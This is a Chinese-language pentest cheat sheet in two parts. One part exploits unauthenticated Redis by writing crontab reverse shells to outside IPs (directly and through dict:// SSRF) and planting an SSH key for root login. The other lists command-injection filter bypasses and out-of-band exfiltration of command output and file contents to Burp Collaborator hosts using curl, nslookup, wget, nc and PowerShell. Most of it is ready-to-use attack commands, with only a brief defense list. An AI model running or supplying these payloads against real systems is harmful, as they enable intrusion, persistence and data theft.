分类 总结 下的文章

Redis 利用总结

介绍

redis是一个key-value型数据库,信息以键对应值的关系存储在内存中, 是一个非关系型(nosql)数据库

默认端口:6379

redis可以把数据保存在内存中,也可以保存到硬盘上。

持久化运作方案:
1.RDB--类似数据库备份文件
2.AOF--log日志文件

姿势

  • 未授权访问

发现

nmap -p6379 192.168.0.0/24 --script redis-info
nmap -p6379 192.168.0.0/16 --script redis-info

写webshell

前提:知道web路径
telnet直接连上去,
1.jpg

2.jpg

3.jpg

写计划任务反弹shll

set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.16.44.154/21 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

dict协议:

dict://0xAC120002:6379/flushall
dict://0xAC120002:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/111.111.111.111/1234\x200>\x261\x0a\x0a\x0a"
dict://0xAC120002:6379/config:set:dir:/var/spool/cron
dict://0xAC120002:6379/config:set:dbfilename:root
dict://0xAC120002:6379/save

ps.

crontab -l 查看当前用户任务
crontab -e 编辑当前用户任务
crontab -r 删除当前用户任务

写公钥连SSH

生成密钥对,

ssh-keygen -t rsa

4.jpg

把公钥放到目标的的/root/.ssh目录下,
(如果没有.ssh目录,就ssh-keygen -f rsa 生成一下就有了)

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbQByRQly8or9mp2wwRaD0vqp03YX6RNEAoi2EDAx2xyuMIS5wEjTsJ2dpXBCTdAJ94Cw7tRw7esuh4DDF+KMH0crD8OmAY6YVZSIxsW6MRAHtH1moc/6+qgy5o+Q9Q32LLtPz+nUn1pqJl1GpP+RumU8Z7gPLf3EFWBuTYcialfcNwPmUWDewNggdQjsBR++nkhKql/7WGEuPkocu4cO6wVtVk/Q7DkGTVJ1Su2H040sOh/VpQIDeCiGRlUBXADcDOJikSbRj9WgDasEBrcaLksGbud3QRTHP5kM/fukU1OJW2v3YNCWkBMjrdOXFP4gnGnn0Kd2A8Ul7GARH8NWV root@kali\n\n\n"
save

登陆,

ssh -i id_rsa root@172.22.0.2

5.jpg

  1. 看到过有人提到往/etc/profile.d/写启动脚本来反弹shell,测试这种方法是行不通的,因为Redis会在脚本收尾加上一些标志信息,shell脚本无法执行。

防御

  1. 配置bind选项,限定连接redis的ip(127.0.0.1)

  2. 配置requirepass选项,设置密码

  3. 不要用root启动redis

RCE bypass总结

Windows

绕过escapeshellcmd()

  • %1a (php version <= 5.2.5) 多字节字符

    dir ../ %1a| whoami
  • %0a 换行

    dir ../ %1a | whoami

数据外带(OOB)

  • HTTP

for /F %x in ('whoami') do start http://402h4pmr24p090cenlc9bmeao1uvik.burpcollaborator.net/%x
  • DNS

for /F %x in ('whoami') do nslookup %x.qkeimef2pqn9xr5stc1k9aqd046vuk.burpcollaborator.net  
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.424h6por44r0b0eeple9dmgaq1wwukj.burpcollaborator.net
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1
%i.424h6por44r0b0eeple9dmgaq1wwukj.burpcollaborator.net

有空格等特殊符号的话,数据可能被截断,有ps的话可以用ps来base64编码

for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://424h6por44r0b0eeple9dmgaq1wwukj.burpcollaborator.net/'+$a);

Linux

绕过黑名单

  • 字符拼接

a=l;b=s;$a$b  --> ls
a=c;b=at;c=t;d=xt;$a$b $c$d  -->  cat txt
a=c;b=at;c=t;d=xt;$a$b ${c}${d} -->  cat txt
  • 从其它文件截取

echo `expr substr $(awk NR==1 1.php) 1 1`
  • 从环境变量截取

echo ${SHELLOPTS:1:1}
  • 执行上一条命令

!!

绕过空格

cat<txt
cat<>txt
{ls,-la}
{ls,-l,-a}
cat${IFS}txt
cat$IFS$9txt
cat$IFS$2txt
cat$IFS$1txt
...

IFS是个全局变量,默认值是空白。

a=$'\x20txt';cat$a

利用Tab键

http://127.0.0.1/info.php?c=ls%09-la

补充:

>: $PS2
+: $PS4

数据外带

curl l5rzvd9oe86ejd54tlyc85mmndt3hs.burpcollaborator.net/?`uname`

ping -c 1 `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

wget `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

nc `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

telnet `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

ssh `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

......

base64编码:

curl http://alznpv7xnaa6u6xk8rxfwszg97f03p.burpcollaborator.net/?`cat txt|base64`

curl http://alznpv7xnaa6u6xk8rxfwszg97f03p.burpcollaborator.net/?$(cat txt|base64)